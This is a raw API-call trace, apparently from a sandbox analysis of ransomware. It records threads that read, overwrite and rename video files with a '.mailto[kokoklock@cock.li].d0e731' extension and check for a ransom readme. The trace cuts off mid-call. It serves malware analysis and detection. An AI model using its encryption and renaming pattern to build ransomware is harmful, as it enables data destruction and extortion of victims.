RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed20 [0073.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed48 [0073.306] NtQuerySystemTime (in: CurrentTime=0x1723fbb4 | out: CurrentTime=0x1723fbb4*=132121176312065441) returned 0x0 [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xe7989faf [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xb56ac947 [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x3ff5e48f [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x13aec44f [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x6848f8ef [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x7c1eb2f8 [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x8f095927 [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x8d1a0f97 [0073.306] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x4e0edae6 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xacdfe35a [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x8b33285d [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xe7cc18ff [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x7e3ece98 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x6efb93d6 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x1d21777f [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x96e9be72 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xbc9ed178 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x8971fd0b [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xcfd643ee [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x94630850 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xca530ac3 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x59517d0c [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x3b386164 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xdb8e83a8 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xb43f4a78 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xd8e4e65d [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xb2db7e1c [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xb98cd9af [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x41ab7e40 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x41923fd3 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0x4206e034 [0073.307] RtlRandom (in: Seed=0x1723fbc0 | out: Seed=0x1723fbc0) returned 0xf11d1033 [0073.319] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.319] ReadFile (in: hFile=0x91c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1723fb8c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1723fb8c*=0x4096, lpOverlapped=0x0) returned 1 [0073.319] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0073.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee38 [0073.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.320] WriteFile (in: hFile=0x91c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1723fb8c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1723fb8c*=0x4096, lpOverlapped=0x0) returned 1 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.320] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x1606e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.320] WriteFile (in: hFile=0x91c, lpBuffer=0x341ee38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1723fbc4, lpOverlapped=0x0 | out: lpBuffer=0x341ee38*, lpNumberOfBytesWritten=0x1723fbc4*=0x20, lpOverlapped=0x0) returned 1 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee38) returned 1 [0073.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.320] WriteFile (in: hFile=0x91c, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x1723fbd8*=0x8, lpOverlapped=0x0) returned 1 [0073.320] WriteFile (in: hFile=0x91c, lpBuffer=0x1723fbf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x1723fbf0*, lpNumberOfBytesWritten=0x1723fbd8*=0x4, lpOverlapped=0x0) returned 1 [0073.321] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1723fbd8*=0x4, lpOverlapped=0x0) returned 1 [0073.321] WriteFile (in: hFile=0x91c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1723fbd8*=0x6c, lpOverlapped=0x0) returned 1 [0073.321] WriteFile (in: hFile=0x91c, lpBuffer=0x341ed20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x341ed20*, lpNumberOfBytesWritten=0x1723fbd8*=0x20, lpOverlapped=0x0) returned 1 [0073.321] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1723fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1723fbd8*=0x4, lpOverlapped=0x0) returned 1 [0073.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ed20) returned 1 [0073.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee88) returned 1 [0073.327] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.327] CloseHandle (hObject=0x91c) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x33fb1b0 [0073.327] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" [0073.327] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" [0073.327] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.327] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.328] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi", dwFileAttributes=0x20) returned 0 [0073.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429330 [0073.328] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.328] wcscat (in: _Dest=0x3429330, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.328] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0073.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.328] RtlExitUserThread (Status=0x1) Thread: id = 586 os_tid = 0x1288 [0073.329] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4")) returned 0x20 [0073.329] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4", dwFileAttributes=0x20) returned 1 [0073.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.330] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x172bfec0 | out: lpFileSize=0x172bfec0*=25325) returned 1 [0073.330] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x62e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.330] ReadFile (in: hFile=0x91c, lpBuffer=0x172bfe94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x172bfe94*, lpNumberOfBytesRead=0x172bfe90*=0x4, lpOverlapped=0x0) returned 1 [0073.330] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed20 [0073.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed70 [0073.330] NtQuerySystemTime (in: CurrentTime=0x172bfe6c | out: CurrentTime=0x172bfe6c*=132121176312221529) returned 0x0 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xe2449a [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xbec74828 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xe451063 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xf1d4b6b [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xa8b462e6 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x4a0eea4b [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xae333465 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xfa3e2cff [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xdd074520 [0073.330] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xbd78fe63 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x21827880 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xbb8c93d7 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x3088b539 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x2e0653e4 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xc1d08674 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x6fdf3379 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xee10d0d1 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x154f476c [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x59b4cb0 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xdaf29bfd [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x42119344 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x4e8b4ff4 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x7aa88348 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xc6341f3b [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xf4be7e0c [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xba5c9914 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0xcc0f75e0 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x8e823dba [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x82c8cfb9 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x4e97d35b [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x9de23e03 [0073.331] RtlRandom (in: Seed=0x172bfe78 | out: Seed=0x172bfe78) returned 0x6a273ffe [0073.344] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.344] ReadFile (in: hFile=0x91c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x172bfe44, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x172bfe44*=0x4096, lpOverlapped=0x0) returned 1 [0073.344] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0073.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee38 [0073.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.345] WriteFile (in: hFile=0x91c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x172bfe44, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x172bfe44*=0x4096, lpOverlapped=0x0) returned 1 [0073.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.345] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x62ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x341ee38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x172bfe7c, lpOverlapped=0x0 | out: lpBuffer=0x341ee38*, lpNumberOfBytesWritten=0x172bfe7c*=0x20, lpOverlapped=0x0) returned 1 [0073.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee38) returned 1 [0073.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x172bfe90*=0x8, lpOverlapped=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x172bfea8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x172bfea8*, lpNumberOfBytesWritten=0x172bfe90*=0x4, lpOverlapped=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x172bfe90*=0x4, lpOverlapped=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x172bfe90*=0x6c, lpOverlapped=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x341ed20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x341ed20*, lpNumberOfBytesWritten=0x172bfe90*=0x20, lpOverlapped=0x0) returned 1 [0073.346] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x172bfe90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x172bfe90*=0x4, lpOverlapped=0x0) returned 1 [0073.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ed20) returned 1 [0073.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee88) returned 1 [0073.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.346] CloseHandle (hObject=0x91c) returned 1 [0073.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x3432810 [0073.347] wcscpy (in: _Dest=0x3432810, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" [0073.347] wcscat (in: _Dest=0x3432810, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" [0073.347] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.351] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432810) returned 1 [0073.352] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4", dwFileAttributes=0x20) returned 0 [0073.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34293e8 [0073.352] wcscpy (in: _Dest=0x34293e8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.352] wcscat (in: _Dest=0x34293e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.352] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34293e8) returned 1 [0073.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb3b0) returned 1 [0073.352] RtlExitUserThread (Status=0x1) Thread: id = 587 os_tid = 0x1290 [0073.353] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi")) returned 0x20 [0073.354] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi", dwFileAttributes=0x20) returned 1 [0073.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.354] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x1733fe9c | out: lpFileSize=0x1733fe9c*=58880) returned 1 [0073.354] SetFilePointerEx (in: 